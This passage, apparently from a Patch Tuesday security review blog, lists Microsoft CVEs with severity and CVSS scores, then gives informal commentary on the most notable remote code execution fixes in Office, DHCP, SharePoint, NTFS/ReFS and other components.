7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization 